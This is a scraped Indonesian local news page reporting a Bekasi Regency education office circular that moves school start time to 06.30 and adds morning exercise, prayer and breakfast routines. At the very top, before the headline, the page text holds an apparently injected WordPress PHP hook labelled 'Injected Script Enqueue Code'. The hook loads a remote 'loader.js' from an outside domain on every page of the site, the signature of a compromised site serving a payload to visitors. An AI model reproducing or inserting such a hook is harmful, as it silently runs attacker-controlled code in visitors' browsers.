// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Kebijakan Baru Jam Masuk Sekolah di Kabupaten Bekasi Akan Lebih Diefektipkan. – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Pendidikan

Kebijakan Baru Jam Masuk Sekolah di Kabupaten Bekasi Akan Lebih Diefektipkan.

23
×

Kebijakan Baru Jam Masuk Sekolah di Kabupaten Bekasi Akan Lebih Diefektipkan.

Sebarkan artikel ini
Kebijakan Baru Jam Masuk Sekolah di Kabupaten Bekasi Akan Lebih Diefektipkan.

Medi Fakta Terkini ll www.Media – Fakta Terkini.com Kabupaten Bekasi-Pemerintah Kabupaten Bekasi melalui Dinas Pendidikan resmi menerbitkan surat edaran.

Mulai Berlaku: Senin, 14 Juli 2025
Surat Edaran: Nomor 100.3.4.2/SE-67/Disdik/VII/2025 Ditandatangani oleh Bupati Bekasi, Ade Kuswara Kunang
Diterbitkan oleh: Dinas Pendidikan Kabupaten Bekasi (Disdik)

Example 300x600

Isi Kebijakan

Jam Masuk Sekolah Baru: Pukul 06.30 WIB Untuk seluruh jenjang: PAUD, SD, dan SMP
Tujuan Utama:
Penguatan pendidikan karakter
Peningkatan kualitas pembelajaran
Pembiasaan pola hidup sehat dan disiplin

Kegiatan “Pertemuan Pagi Ceria” (06.30–07.15 WIB)

06.30 – 06.45: Senam Anak Indonesia Hebat
06.45 – 07.00:
Sholat Dhuha (bagi siswa Muslim)
Ibadah pagi lainnya (bagi Non-Muslim)
07.00 – 07.15: Sarapan sehat bergizi dari rumah
Pembelajaran efektif dimulai pukul 07.15 WIB

Hari Jumat:
Membaca kitab suci sesuai agama masing-masing
Tujuan: Penguatan nilai keagamaan dan moderasi beragama

Pengawasan dan Evaluasi

Akan dilakukan oleh pengawas Disdik dan kepala sekolah
Fokus pada wilayah dengan akses terbatas
Telah dilakukan sosialisasi dengan stakeholder sekolah

Pentingnya Peran Orang Tua

Mendorong anak bangun pagi, beribadah, dan menjaga kebersihan
Membentuk karakter: disiplin, tanggung jawab, religius

Hal ini Pernyataan diungkapkan oleh Kepala Disdik, Imam Faturochman
“Pendidikan bukan hanya soal akademik, tapi juga pembentukan karakter.”

Menurutnya bahwa kebijakan ini merupakan bagian dari komitmen Pemerintah Daerah dalam mendukung penguatan pendidikan karakter serta peningkatan kualitas pembelajaran ujarnya.

Sambungnya, “Kebijakan ini bertujuan untuk membiasakan peserta didik memulai hari dengan kegiatan positif seperti olah raga, ibadah, dan sarapan sehat sebelum proses belajar dimulai. Hal ini sejalan dengan amanat regulasi pusat dan Surat Edaran Gubernur Jawa Barat, tegas Imam Faturohman pada Kamis (10/7/2025) di Cikarang Pusat.(Dedy)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *